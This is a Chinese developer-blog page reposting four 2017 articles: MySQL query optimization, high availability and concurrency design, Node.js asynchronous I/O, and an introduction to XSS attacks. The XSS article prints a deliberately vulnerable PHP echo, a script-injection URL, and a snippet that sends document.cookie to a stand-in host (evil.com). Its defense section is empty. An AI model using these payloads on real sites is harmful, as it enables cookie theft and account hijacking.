开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

SQL语句的优化

发表于 2017-11-14

SQL语句的优化

如何索取有性能问题SQL的渠道

  1. 通过用户反馈获取存在性能问题的SQL
  2. 通过慢查日志获取存在性能问题的SQL
  3. 实时获取存在性能问题的SQL

慢查询日志介绍

  • slow_quey_log=on 启动记录慢查询日志
  • slow_query_log_file 指定慢查询日志的存储路径及文件(默认情况下保存在MySQL的数据目录中)
  • long_query_time 指定记录慢查询日志sql执行的阈值(默认为10秒,通常改为0.001秒比较合适)
  • log_queries_not_using_indexes 是否记录未使用索引的SQL

set global sql_query_log=on;

sysbench --test=./oltp.lua --mysql-table-engine=innodb --oltp-table-size=10000 --mysql-db=tests --mysql-user=sbtest --mysql-password=123456 --oltp-tables-count=10 --mysql-socket=/usr/local/mysql/data/mysql.sock run

慢查询日志分析工具

mysqldumpslow
  • 汇总除查询条件外其它完全相同的SQL并将分析结果按照参数中所指定的顺序输出

mysqldumpslow -s r -t 10 slow-mysql.log

-s order(c,t,l,r,at,al,ar)[指定按照哪种排序方式输出结果]

1. c按照查询的次数排序
2. t按照查询的总时间排序
3. l按照查询中锁的时间来排序
4. r按照查询中返回总的数据行来排序
5. at、al、ar平均数量来排序-t top[指定取前几条作为结束输出]
pt-query-digest

pt-query-digest \

--explain h=127.0.0.1,u=root,p=p@ssWord \

slow-mysql.log

pt-query-digest –explain h=127.0.0.1 slow-mysql.log > slow.rep

实时获取存在性能问题的SQL

select id,user,host,db,command,time,state,info
FROM information_schema.processlist
WHERE time>=60

查询速度为什么会这麽慢?

  1. 客户端发送SQL请求给服务器
  2. 服务器检查是否可以在查询缓存中命中该SQL
  3. 服务器端进行SQL解析,预处理,再由优化器生成对应的执行计划
  4. 根据执行计划,调用存储引擎API来查询数据
  5. 将结果返回给客户端

》 对于一个读写频繁的系统使用查询缓存很可能会降低查询处理的效率,建议大家不要使用查询缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
复制代码2.其中涉及的参数:
query_cache_type 设置查询缓存是否可用[ON,OFF,DEMAND]

DEMAND表示只有在查询语句中使用了SQL_CACHE和SQL_NO_CACHE来控制是否需要进行缓存

query_cache_size 设置查询缓存的内存的大小

query_cache_limit 设置查询缓存可用的存储的最大值(加上SQL_NO_CACHE可以提高效率)

query_cache_wlock_invalidate 设置数据表被锁后是否返回缓存中的数据

query_cache_min_res_unit 设置查询缓存分配的内存块最小单位

3.MySQL依照这个执行计划和存储引擎进行交互
解析SQL,预处理。优化SQL的查询计划

语法解析阶段是通过关键字对MySQL语句进行解析,并生成一颗对应的解析树
MySQL解析器将使用MySQL语法规则验证和解析查询,包括检查语法是否使用了正确的关键走;关键字的顺序是否正确等等;

预处理阶段是根据MySQL规则进一步检查解析树是否合法
检查查询中所涉及的表和数据列是否存在及名字或别名是否存在歧义等等
语法检查通过了,查询优化器就可以生成查询计划了

优化器SQL的查询计划阶段对上一步所生成的执行计划进行选择基于成本模型的最优的执行计划【下面是影响选择最优的查询计划的7因素】
1.统计信息不准确
2.执行计划中的成本估算不等于实际的执行计划的成本
3.MySQL优化器认为的最优的可能与你认为最优的不一样【基于成本模型选择最优的执行计划】
4.MySQL从不考虑其他的并发的查询,这可能会影响当前查询的速度
5.MySQL有时候也会基于一些固定的规则来生成执行计划
6.MySQL不会考虑不受其控制的成本
查询优化器在目前的版本中可以进行优化的SQL的类型:
1.重新定义表的关联顺序
2.将外连接转化为内连接
3.使用等价变换规则
4.优化count(),min()和max()[select tables optimozed away]
5.将一个表达式转化为一个常数表达式
6.子查询优化
7.提前终止查询
8.对in()条件进行优化

如何确定查询处理各个阶段所消耗的时间

  • 使用profile[不建议使用,未来mysql中将被移除]
1. set profiling = 1;[启动profile,这是一个session级别的配置]
2. 执行查询
3. show profiles;[查看每一个查询所消耗的总的时间的信息]
4. show profile for query N;[查询的每个阶段所消耗的时间]
5. show profile cpu for query N;[查看每个阶段所消耗的时间信息和所消耗的cpu的信息]
  • 使用performance_schema
1. 启动所需要的监控和历史记录表的信息



> update setup\_instruments set enabled='yes',timed='yes' where name like 'stage%';



> update setup\_consumers set enabled='yes' where name like 'events%';
2. SELECT
a.thread\_id,
sql\_text,
c.event\_name,
(c.timer\_end - c.timer\_start) / 1000000000 AS 'duration(ms)'
FROM
events\_statements\_history\_long a
JOIN threads b on a.thread\_id=b.thread\_id
JOIN events\_stages\_history\_long c ON c.thread\_id=b.thread\_id
AND c.event\_id between a.event\_id and a.end\_event\_id
WHERE b.processlist\_id=CONNECTION\_ID()
AND a.event\_name='statement/sql/select'
ORDER BY a.thread\_id,c.event\_id

特定的SQL查询优化

  • 大表的更新和删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码  delimiter ?
use 'imooc'?
drop procedure if exists 'p_delete_rows'?
create definer='root'@'127.0.0.1' procedure 'p_delete_rows'()
begin
declare v_rows int;
set v_rows int,
while v_rows=1,
while v_rows>0
do
delete from test where id>=9000 and id<=19000 limit 5000;
select row_count() into v_rows;
select sleep(5);
end while;
end ?
delimiter;
  • 如何修改大表的表结构

1.对表中的列的字段类型进行修改改变字段的宽度时还是会进行锁表

2.无法解决主从数据库延迟的问题

修改的方法:

1
2
3
4
复制代码  pt-online-schema-change 
--alter="modify c varchar(150) not null default''"
--user=root --password=PassWord D=testDataBaseName,t=tesTableName
--charset=utf-8 --execute
  • 如何优化not in和<>查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
复制代码  #原始的SQL语句
SELECT
customer_id,
first_name,
last_name,
email
FROM
customer
WHERE
customer_id NOT IN (
SELECT
customer_id
FROM
payment
)

#优化后的SQL语句
SELECT
a.customer_id,
a,
first_name,
a.last_name,
a.email
FROM
customer a
LEFT JOIN payment b ON a.customer_id = b.customer_id
WHERE
b.customer_id IS NULL
  • 使用汇总表的方法进行优化
    #统计商品的评论数(若有上亿条记录,执行起来非常慢进行全表扫描)[优化前的SQL]
    select count(*) from product_comment where product_id=999;
1
2
3
4
5
6
7
8
9
10
11
12
复制代码  #汇总表就是提前以要统计的数据进行汇总并记录到数据库中以备后续的查询使用

create table product_comment_cnt(product_id int,cnt int);

#统计商品的评论数[优化后的SQL]
#查询出每个商品截止到前一天的累计评论数+当天的评论数
select sum(cnt) from(
select cnt from product_comment_cnt where product_id=999
union all
select count(*) from product_comment where product_id=999
and timestr>DATE(NOW())
) a

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

高并发和高可用的一点思考

发表于 2017-11-14

本文的架子参考张开套的《亿级流量网站架构核心技术》这本书分为四个部分:指导原则,高可用,高并发,实践案例。这篇文章说一说前三个部分,大部分内容都是我自己的思考,书只作为参考。

  • 指导原则
  • 高可用
    • 事前
      • 副本技术
      • 隔离技术
      • 配额技术
      • 探知技术
      • 预案
    • 事发
      • 监控和报警
    • 事中
      • 降级
      • 回滚
      • failXXX系列
    • 事后
  • 高并发
    • 提高处理速度
      • 缓存
      • 异步
    • 增加处理人手
      • 多线程
      • 扩容

指导原则

书中所列举的,里有一些可能并不是原则,而是技巧。我理解的原则如下:

高并发原则:

  1. 无状态设计:因为有状态可能涉及锁操作,锁又可能导致并发的串行化。
  2. 保持合理的粒度:无论拆分还是服务化,其实就是服务粒度控制,控制粒度为了分散请求提高并发,或为了从管理等角度提高可操性。
  3. 缓存、队列、并发等技巧在高并发设计上可供参考,但需依场景使用。

高可用原则:

  1. 系统的任何发布必须具有可回滚能力。
  2. 系统任何外部依赖必须准确衡量是否可降级,是否可无损降级,并提供降级开关。
  3. 系统对外暴露的接口必须配置好限流,限流值必须尽量准确可靠。

业务设计原则:

  1. 安全性:防抓取,防刷单、防表单重复提交,等等等等。
  2. at least 消费,应考虑是否采用幂等设计
  3. 业务流程动态化,业务规则动态化
  4. 系统owner负责制、人员备份制、值班制
  5. 系统文档化
  6. 后台操作可追溯

以上原则只是大千世界中的一小部分,读者应当在工作学习中点滴积累。

高可用

我们先说高可用的本质诉求:高可用就是抵御不确定性,保证系统724小时健康服务*。关于高可用,我们其实面对的问题就是对抗不确定性,这个不确定性来自四面八方。比如大地震,会导致整个机房中断,如何应对?比如负责核心系统的工程师离职了,如何应对?再比如下游接口挂了,如何应对?系统磁盘坏了,数据面临丢失风险,如何应对?我想关于上述问题的应对方式,大家在工作中或多或少都有所了解,而这个不确定性的处理过程,就是容灾,其不同的‘灾难’,对应不同的容灾级别。

为了对抗这些不同级别的不确定性,就要付出不同级别的成本,因此可用性也应是有标准的。这标准就是大家常说的N个9。随着N的增加,成本也相应增加,那如何在达到业务需要的可用性的基础上,尽量节省成本?这也是一个值得思考的话题。除此之外,100%减去这N个9就说所谓的平均故障时间(MTBF),很多人只关心那些9,而忽略了故障处理时间,这是不该的:你的故障处理速度越快,系统的可用性才有可能越高。

上面扯了一些可用性概念上的东西,下面来说一下技巧。开涛的书中没有对可用性技巧做出一个分类,我这里则尝试使用‘事情’来分个类。这里的‘事’就是故障,分为:事前(故障发生以前)、事发(故障发生到系统或人感知到故障)、事中(故障发生到故障处理这段时间)、事后(故障结束之后)。

按照上述分类,不同的阶段应有着不同的技巧:

  1. 事前:副本、隔离、配额、提前预案、探知
  2. 事发:监控、报警
  3. 事中:降级、回滚、应急预案,failXXX系列
  4. 事后:复盘、思考、技改

事前

副本技术

大自然是副本技术当之无愧的集大成者,无论是冰河时代,还是陨石撞击地球所带来的毁灭性打击,物种依然绵绵不绝的繁衍,这便是基因复制的作用。副本是对抗不确定性的有力武器,把副本技术引入计算机系统,也会带来高可用性的提升。无状态服务集群便是副本的一个应用,因为没有状态,便可水平伸缩,而这些无状态服务器之间需要一层代理来统一调度管理,这便有了反向代理。当代理通过心跳检测机制检测到有一台机器出现问题时,就将其下线,其他‘副本’机器继续提供服务;存储领域也是经常使用副本技术的,比如OB的三地三中心五副本技术等,mysql主备切换,rabbitMQ的镜像队列,磁盘的RAID技术,各种nosql中的分区副本,等等等等,数不胜数,几乎所有保证高可用的系统都有冗余副本存在。

隔离技术

书上提到了很多种隔离:线程隔离、进程隔离、集群隔离、机房隔离、读写隔离、动静隔离、爬虫隔离、热点隔离、硬件资源隔离。在我看来,这些隔离其实就是一种,即资源隔离,无论线程、进程、硬件、机房、集群都是一种资源;动态资源和静态资源也不过是资源的一种分类;热点隔离也即是热点资源和非热点资源的隔离;读写隔离不过仅仅是资源的使用方式而已,相同的两份资源,一份用来写,一份用来读。因此,隔离的本质,其实就是对资源的独立保护。因为每个资源都得到了独立的保护,其中一个资源出了问题,不会影响到其他资源,这就提高了整体服务的可用性。人类使用隔离术也由来已久了,从农业养殖,到股票投资,甚至关犯人的监狱,都能找到隔离术的影子。

配额技术

配额技术通过限制资源供给来保护系统,从而提高整体可用性。限流是配额技术的一种,它通过调节入口流量水位上线,来避免供给不足所导致的服务宕机。限流分为集群限流和单机限流,集群限流需要分布式基础设施配合,单机限流则不需要。大部分业务场景使用单机限流足以,特殊场景(类秒杀等)下的限流则需限制整个集群。除此之外,限流这里我们还需要考虑几点:

  1. 如何设置合理的限流值?限流值的设定是需要经过全链路压测、妥善评估CPU容量、磁盘、内存、IO等指标与流量之间的变化关系(不一定线性关系)、结合业务预估和运维经验后,才能确定。
  2. 对于被限流的流量如何处理?有几种处理方式,其一直接丢弃,用温和的文案提醒用户;其二,静默,俗称的无损降级,用缓存内容刷新页面;其三,蓄洪,异步回血,这一般用于事务型场景。
  3. 会不会导致误杀?单机限流会导致误杀,尤其当负载不均衡的情况下,很容易出现误杀;单机限流值设定过小也容易出现误杀的情况。

探知技术

其只用于探知系统当前可用性能力,无法切实提高系统可用性,做不好甚至还会降低系统可用性。压测和演练和最常见的探知技术 。压测分为全链路压测和单链路压测,全链路压测用于像双十一大促活动等,需要各上下游系统整体配合,单链路压测一般验证功能或做简单的单机压测提取性能指标。全链路压测的一般过程是:压测目标设定和评估,压测改造,压测脚本编写部署,压测数据准备,小流量链路验证,通知上下游系统owner,压测预热,压测,压测结果评估报告,性能优化。以上过程反复迭代,直到达到压测目标为止;演练一般按规模划分:比如城市级别的容灾演练,机房级别的容灾演练,集群规模的容灾演练(DB集群,缓存集群,应用集群等),单机级别的故障注入,预案演练等。演练的作用无需过多强调,但演练一般发生在凌晨,也需要各系统owner配合排错,着实累人,一般都是轮班去搞。

预案

预案一般分为提前预案(事前)和应急预案(事中)。提前预案提前执行,比如将系统临时从高峰模式切换成节能模式;应急预案关键时刻才执行,主要用于止血,比如一键容灾切换等。预案技术一般要配合开关使用,推预案一般也就是推开关了。除此之外,预案也可和限流、回滚、降级等相结合,并可以作为一个定期演练项目。

事发

事发是指当故障发生了到系统或人感知到故障准备处理的这段时间,核心诉求即是如何快速、准确的识别故障。

监控和报警

一般出现故障的时候,老板大多会有三问:为什么才发现?为什么才解决?影响有多大?即使故障影响面较大,如果能迅速止血,在做复盘的时候多少能挽回一些面子,相反如果处理不及时,即使小小的故障,都可能让你丢了饭碗。越早识别故障,就能越早解决问题,而这眼睛便是监控和报警了。监控报警耳熟能详,这里不多赘述。

事中

事中是指当故障发生时,为了保证系统可用性,我们可以或必须做的事情。分为降级、回滚、应急预案(见上文,这里不多数了),faillXXX系列。

降级

降级的内涵丰富,我们只从链路角度去思考。降级的本质是弃车保帅,通过临时舍弃部分功能,保证系统整体可用性。降级虽然从整体上看系统仍然可用,但由于取舍的关系,那么可知所有的降级一定是有损的。不可能有真正的无损降级,而常说的无损降级指的是用户体验无损。降级一定发生在层与层之间(上下游),要么a层临时性不调用b层,这叫做熔断,要么a层临时调用c层(c层合理性一定<b层),这叫备用链路。无论是哪一种方式,都会面临一个问题:如何确定什么时候降级,什么时候恢复?一般有两种方式,其一是人工确认,通过监控报警等反馈机制,人工识别故障,推送降级,待故障恢复后在手动回滚;其二是自适应识别,最常用的指标有超时时间、错误次数、限值流等等,当达到阈值时自动执行降级,恢复时自动回滚。这两种方式无需对比,它们都是经常采用的高可用技巧。除此之外,我们还要注意降级和强弱依赖的关系。强弱依赖表示的是链路上下游之间的依赖关系,是’是否可降级‘的一种专业表述。

我们再来看书中的一些降级的例子:①读写降级,实际上是存储层和应用层之间的降级,采用备用链路切换方式,损失了一致性;②功能降级,将部分功能关闭,实际上是应用层和功能模块层之间的降级,采用熔断方式,损失了部分功能。③爬虫降级,实际上是搜索引擎爬虫和应用系统之间的降级,采用备用链路切换方式,将爬虫引导到静态页面,损失是引擎索引的建立和页面收录。

回滚

当执行某种变更出现故障时,最为稳妥和有效的办法就是回滚。虽然回滚行之有效,但并不简单,因为回滚有一个大前提:变更必须具有可回滚性。而让某一种变更具有可回滚的特性,是要耗费很大力气的。索性的是,大部分基础服务已经帮我们封装好了这一特性,比如DB的事务回滚(DB事务机制),代码库回滚(GIT的文件版本控制),发布回滚(发布系统支持)等等。我们在日常变更操作的时候,必须要确定你的操作是否可回滚,并尽力保证所有变更均可回滚。如果不能回滚,是否可以进行热更新(比如发布应用到app store)或最终一致性补偿等额外手段保证系统高可用。

failXXX系列

当出现下游调用失败时,我们一般有几种处理方式:

  1. failretry,即失败重试,需要配合退避时间,否则马上重试不一定会有效果。
  2. failover,即所谓的故障转移。比如调用下游a接口失败,那么RPC的负载均衡器将会调用a接口提供方的其他机器进行重试;在比如数据库x挂了,应用自适应容灾将对x库的调用切换到y库调用,此y库即可以是faillover库(流水型业务),也可以备库(状态型业务)。
  3. failsafe,即静默,一般下游链路是弱依赖的时候,可以采用failsafe,即可和failover相结合,比如failover了3次还是失败,那么执行failsafe。
  4. failfast,立即报错,failfast主要让工程师快速的感知问题所在,并及时进行人工干预。
  5. failback,延迟补偿(回血),一般可以采用消息队列或定时扫描等。

上面的1,2,4是属于重试策略,即书中《超时与重试》章节所讲到的重试。重试有个问题:退避间隔是多少?重试几次?一般在下游临时抖动的情况下,很短时间内就可以恢复;但当下游完全不可用,那么很有可能重试多少次都不会成功,反而会对下游造成了更大的压力,那这种情况就应当做用熔断了。所以正确设定重试次数、选择退避时间等都是需要仔细思考的。我们在来说一下超时,超时只是一种预防机制,不是故障应对策略,其主要为了防止请求堆积——资源都用于等待下游请求返回了。堆积的后果自不用多说,重要的是如何选择正确的超时时间?书上只说了链路每个部分超时时间怎么配置,却不知道应配置多少,这是不够全面的。

事后

复盘、思考、技改。不多赘述。

高并发

如果仅是追求高可用性,这其实并不难做,试想如果一年只有一个人访问你的系统,只要这一个人访问成功,那你系统的‘’可用性‘就是100%了。可现实是,随着业务的发展,请求量会越来越高,进而各种系统资源得以激活,那潜在风险也会慢慢的暴露出来。因此,做系统的难点之一便是:如何在高并发的条件下,保证系统的高可用。上文已经说了一些保证高可用的技巧,这节将结合开涛的书,说说高并发。

上图是我们生活中常见的一个场景——排队购物。收银员就是我们的服务,每一个在队列中的顾客都是一个请求。我们的本质诉求是让尽可能多的人都在合理的等待时间内完成消费。如何做到这一点呢?其一是提高收银员的处理速度,他们处理的越快,单位时间内就能服务更多的顾客;其二是增加人手,一名收银员处理不过来,我们就雇十名收银员,十名不够我们就雇佣一百名(如果不计成本);其三是减少访问人数,也即分流过滤,将一些人提前过滤掉,或做活动预热(比如双十一预热),在高峰之前先满足一部分人的需求。因此,想要高并发无外乎从以下几个方面入手:

  1. 提高处理速度:缓存、异步
  2. 增加处理人手:多线程(多进程)、扩容
  3. 减少访问人数:预处理(本文不涉及)

提高处理速度

缓存

缓存之所以能够提高处理速度,是因为不同设备的访问速度存在差异。缓存的话题可以扯几本书不带重样的。从CPU可以一直扯到客户端缓存,即从最底层一直到扯到最特近用户的一层,每一层都可能或可以有缓存的存在。我们这里不扯这么多,只说简单服务端缓存。现在从几个不同角度来看一下缓存:

①从效果角度。命中率越高越好吗?10万个店铺数据,缓存了1000个,命中率稳定100%,那是不是说,有99000个店铺都是长尾店铺?缓存效果评估不能单看命中率。
②从回收策略。如果把缓存当做数据库一样的存储设备去用,那就没有回收的说法了(除非重启或者宕机,否则数据依然有效);如果只存储热数据,那就有回收和替换的问题。回收有两种方式,一种是空间配额,另一种是时间配额。替换也有几种方式,LRU,FIFO,LFU。
③从缓存使用模式角度:用户直接操作缓存和db;用户直接操作缓存,缓存帮助我们读写DbB;
④从缓存分级角度。java堆内缓存、java堆外缓存、磁盘缓存、分布式缓存,多级缓存。
⑤从缓存使用角度。null穿透问题、惊群问题、缓存热点问题、缓存一致性问题、读写扩散问题。。。。。。
⑥更新方式。读更新、写更新、异步更新。

如果缓存集群涉及到异地多集群部署,再结合大数据量高并发业务场景,还会遇到很多更加复杂的问题,这里就不一一列举了。

异步

异步这里有几点内涵,其一是将多个同步调用变成异步并发调用,这样就将总响应时间由原来的t1+t2+t3+…..+tn变成了max(t1,t2,t3….,tn),这也叫异步编排;其二是在操作系统层面,使用asyc io以提高io处理性能;其三是将请求’转储‘,稍后异步进行处理,一般使用队列中间件。其中的异步编排,可以使用CompletableFuture;异步IO一般框架都做了封装;而队列中间件则是最为常用的技术之一,也是我们重点关注的对象。

业务允许延迟处理,是使用队列中间件的大前提,即非实时系统或准实时系统更适合使用。主要作用有:异步处理(增加吞吐),削峰蓄洪(保障稳定性),数据同步(最终一致性组件),系统解耦(下游无需感知订阅方)。

缓冲队列:一般使用环形缓冲队列,控制缓冲区大小。
任务队列:一般用于任务调度系统,比如线程池等,disrupter
消息队列:一般意义上的消息中间件,不同业务场景需要的中间件能力不同,有的需要高吞吐,有的需要支持事务,有的需要支持多客户端,有的需要支持特定协议等等等等,妄图开发一个大而全的消息队列,个人觉得不如提供多种队列按需选型,之后在统一提供一个通信中台,全面整合消息能力。
请求队列:就是处理请求的队列,有点像流程引擎,可以做一些前置后置的入队出队处理,比如限流、过滤等等
数据总线队列:比如canal,datax等数据(异构或同构)同步用的。
优先级队列:一般大根堆实现
副本队列:如果队列支持回放,副本队列有些冗余。
镜像队列:一般用于做队列系统的高可用切换的。有时候也跨集群跨机房做复制,提供更多消费者消费,增加投递能力。

队列的消费端有pull模式或者push模式的选取。pull模式可以控制进度,push模式则实时性更高一些;pull能支持单队列上的有序,push很难支持。除了消费模式,队列还有一系列其他问题请参考其他书籍,这里不多说明了。

这里在补充一点关于异步的说明。同步转异步,可以提高吞吐量;异步转同步,可以增加可靠性。

增加处理人手

多线程

多线程(多进程)技术是‘增加处理人手’技术中最容易想到的,一般我们也广泛采用。无论是web服务容器、网关、RPC服务端、消息队列消费和发送端等等都有使用多线程技术。其优点也无需过多说明。这里我们只说一件重要的事情,即线程数的设置问题,如果线程数过高则可能会吃光系统资源,如果过低又无法发挥多线程优势。一般设置的时候,会参考平均处理时长、并发峰值、平均并发量、阻塞率、最长可容忍响应时间、CPU核心数等等,然后做一定的运算,计算出线程数、core和max,以及阻塞队列大小。具体算法可以自行谷歌。

扩容

在无状态服务下,扩容可能是迄今为止效果最明显的增加并发量的技巧之一。有临时性并发问题时,可以直接提扩容工单,立竿见影。但扩容的最大问题就是成本了,想想动辄几万的实体机,如果只是为了支撑一个小时的大促,而平常利用率几乎为0,那确实是浪费。因此便有了弹性云,当需要扩容时,借别人机器(阿里云)用完再还回去;以及离线在线混部,充分利用资源。

从扩容方式角度讲,分为垂直扩容(scale up)和水平扩容(scale out)。垂直扩容就是增加单机处理能力,怼硬件,但硬件能力毕竟还是有限;水平扩容说白了就是增加机器数量,怼机器,但随着机器数量的增加,单应用并发能力并不一定与其呈现线性关系, 此时就可能需要进行应用服务化拆分了。

从数据角度讲,扩容可以分为无状态扩容和有状态扩容。无状态扩容一般就是指我们的应用服务器扩容;有状态扩容一般是指数据存储扩容,要么将一份数据拆分成不同的多份,即sharding,要么就整体复制n份,即副本。sharding遇到的问题就是分片的可靠性,一般做转移、rehash、分片副本;副本遇到的问题是一致性性,一般做一致性算法,如paxos,raft等。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

我与Nodejs重新认识的第一周 - Nodejs 风格

发表于 2017-11-14

书接上回,

慢慢悠悠读了《深入浅出node.js》(后面简写作《深浅》)以及《node.js高级编程》(后面简写作《高级》)的开头部分,查了不少网络资料,关于node.js的特点有了一定了解。深究起来需要再看看操作系统以及网络的知识。

《深浅》中提到了四个node.js的特点:异步I/O,事件与回调函数,单线程以及跨平台。
《高级》中基本是一笔带过,提到了纯事件驱动以及非阻塞。

其中对于异步I/O以及单线程这两个特性,我认为可以分以下三个方向来概述为什么node.js把天赋点在了这它们上面?

1. 用户体验

从前端加载的角度来看,比较直接。先说为什么JavaScript用异步?!我们反着思考,如果JavaScript是同步的,会有什么问题。请求一个用户管理页面,用js加载若干资源,先加载一个用户头像,再加载第二个,第三个。。。GG,用户以为卡死了,二话不说给你关了(《深浅》中提到脚本时间超过100毫秒,用户就会有卡顿的感觉;而且运行在单线程上的JavaScript还与UI渲染公用一个进程)。实际中,JavaScript的异步消除/减弱了UI阻塞的现象,同步时候加载资源的总时间是X+Y+Z,异步下的总时间则是max(X+Y+Z),可见差距。另外《深浅》中来提到目前网络发展,分布式应用普及,前面XYZ的数值在增长,那么可以想象到X+Y+Z和max(X+Y+Z)的差距肯定越来越大。由此可以看出异步大法好,大家都说屌!那么node.js选择异步I/O也就顺理成章,从后端做到异步,提升资源响应速度,那么随之前端的用户体验也就会更好!

2. 系统资源

一组任务需要被执行,可以通过两种方式:单线程串行执行,多线程并行执行。

单线程串行执行,问题是:同步阻塞! I/O需要等待X步结束,才能进行到X+1步 - 原因是早期分时系统:cpu轮流给不同用户服务(服务的时间单位是时间片),给A服务完了第x步,可能就去给B服务第y步,之后才又回到属于给A服务的时间片,然后再给A服务x+1步(这也能看出来为啥I/O需要等待,上一步结束才能执行下一步)。为了继续执行A的操作,从x到x+1步骤的上下文就需要系统维护和交换,那么当进程很多,就会造成性能的下降。慢的任务就会拖慢整个处理进度- 这样难道一无是处么,并不是,好处是顺序编程,逻辑比较容易,易于表达 。

多线程并行执行,问题是:编程时要考虑锁,状态同步的问题,稍有不慎,家毁人亡! 因此,node.js的解决方案是:利用单线程,远离多线程死锁、状态同步等问题;利用异步I/O,让单线程远离阻塞,以更好地使用CPU。(《深浅》原句)

![](https://gitee.com/songjianzaina/juejin_p5/raw/master/img/6875f880bb3c91a5e7b2e04464e056a23571722eaa17758217e4e8568b86b7c3)  

3. 应用场景

node.js特点与其应用场景我感觉互为问题与答案,考虑到web app是当今最常见的I/O密集型任务,node.js选择了异步I/O,单线程以及事件驱动,来增强性能。同时,也正是因为node.js的这些特点,使得它更加适合I/O密集型的应用场景。(关于node.js是否适合计算密集型任务,《深浅》中做了解释与对比) ———————————————————————

下面是另外几点令我印象深刻的地方:

  • 《深浅》还提到:为了提升性能增加进程数量,这种方法是无法提升资源利用率。他用到了『加三倍服务器』的例子,下面是我从豆瓣上找到的一个解释:(加三倍服务器是否能提升性能)要看系统本身的架构,不一定增加三倍服务器就能档得住三倍的用户一起来点的。因为服务器增多之后,其间通信的成本也增加了,而且如果存在中心节点,那么那几个节点还是会变成瓶颈。跟高速公路堵车对比,加服务器并不是“四车道变八车道”那么简单,很可能多修几条路以后1)十字路口也变多了2)支路多了以后主干道堵得更厉害。”

  • 如果深究异步I/O这个东西,《深浅》第三章做了更加细致的讲解,涉及到了异步的几种实现方式,以及Node是怎么实现异步I/O的。原来之前说的异步,是理想的非阻塞异步I/O:

    (出自《深入浅出node.js》)
  真正到了实现的时候,Node其实是用了多线程的方式模拟出来这一理想的效果。 ![](https://gitee.com/songjianzaina/juejin_p5/raw/master/img/2f87b29a47afa091eaa0893093dc71adbdaa1506d597eec1726dd175db9717a5)  


                                     (出自《深入浅出node.js》)  





等等,多线程?Node不是JavaScript,是单线程么,上面特点不说了是单线程么?是不是说漏嘴了。那必须不是,《深浅》书中提到,Node的单线程指的JavaScript运行在单线程中,而实现Node的异步I/O功能的则是线程池/多线程。 * node.js既然有异步I/O的特点,是不是就可以肆意妄为了,只要异步就一定非阻塞呢?答案肯定是不啊(考这么多年试:像这种极端的问题,答案肯定是否定的)。如果我们在主线程做过多的任务,或者很多计算密集型任务,那么可能会导致主线程的卡死,影响整个程序的性能,这不就阻塞你异步的脚步了。

如果有什么地方总结的不对,希望大家一起交流!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Web安全系列——XSS攻击

发表于 2017-11-14

前段时间在学习Web安全方面的知识,对这方面有了进一步的了解,决定写文章记录下来,只是对Web安全方面知识的一些总结,没有太多的深度。

XSS攻击简介

跨站脚本攻击(XSS),英文全称 Cross Site Script, 是Web安全头号大敌。
XSS攻击,一般是指黑客通过在网页中注入恶意脚本,当用户浏览网页时,恶意脚本执行,控制用户浏览器行为的一种攻击方式。其中,XSS攻击通常分为反射型XSS、存储型XSS、DOM Based XSS三种。可以通过以下例子看看XSS攻击是如何产生的。

一个简单的例子

本地服务器的的/xssTest 目录下,有一个test.php文件,代码如下:

1
2
3
4
复制代码<?php
$userName=$_GET['userName']; //获取用户输入的参数
echo "<b>".$userName."</b>"; //直接输出用户的参数给前端页面
?>

正常情况下,用户提交的姓名可以正确显示在页面上,不会构成XSS攻击,比如,当用户访问以下URL:

1
复制代码http://localhost/xssTest/test.php?userName=jack

页面会显示:
正常显示
可以看到,用户在URL中输入的参数正常显示在页面上。

然后,我们尝试在URL中插入JavaScript代码,如:

1
复制代码http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>

则页面会显示:
插入恶意脚本

可以看到,页面没有把userName后面的内容显示出来,而且打开了一个新的标签页,原因是在URL中带有一段打开另一标签页的恶意脚本。
这个例子虽然简短,但体现了最简单的XSS攻击的完整流程。

XSS攻击类型

根据攻击的方式,XSS攻击可以分为三类:反射型XSS、存储型XSS、DOM Based XSS。

反射型XSS也被称为非持久性XSS,这种攻击方式把XSS的Payload写在URL中,通过浏览器直接“反射”给用户。这种攻击方式通常需要诱使用户点击某个恶意链接,才能攻击成功。
存储型XSS又被称为持久性XSS,会把黑客输入的恶意脚本存储在服务器的数据库中。当其他用户浏览页面包含这个恶意脚本的页面,用户将会受到黑客的攻击。一个常见的场景就是黑客写下一篇包含恶意JavaScript脚本的博客文章,当其他用户浏览这篇文章时,恶意的JavaScript代码将会执行。
DOM Based XSS 是一种利用前端代码漏洞进行攻击的攻击方式。前面的反射型XSS与存储型XSS虽然恶意脚本的存放位置不同,但其本质都是利用后端代码的漏洞。
反射型和存储型xss是服务器端代码漏洞造成的,payload在响应页面中,DOM Based中,payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),payload才会加载到脚本中执行。

XSS攻击的危害

我们把进行XSS攻击的恶意脚本成为XSS Payload。XSS Payload的本质是JavaScript脚本,所以JavaScript可以做什么,XSS攻击就可以做什么。
一个最常见的XSS Payload就是盗取用户的Cookie,从而发起Cookie劫持攻击。Cookie中,一般会保存当前用户的登录凭证,如果Cookie被黑客盗取,以为着黑客有可能通过Cookie直接登进用户的账户,进行恶意操作。
如下所示,攻击者先加载一个远程脚本:

1
复制代码http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>

而真正的XSS Payload,则写在远程脚本evil.js中。在evil.js中,可以通过下列代码窃取用户Cookie:

1
2
3
复制代码var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码插入了一张看不见的图片,同时把document.cookie作为参数,发到远程服务器。黑客在拿到cookie后,只需要替换掉自身的cookie,就可以登入被盗取者的账户,进行恶意操作。
一个网站的应用只需要接受HTTP的POST请求和GET请求,就可以完成所有的操作,对于黑客而言,仅通过JavaScript就可以完成这些操作。

防御

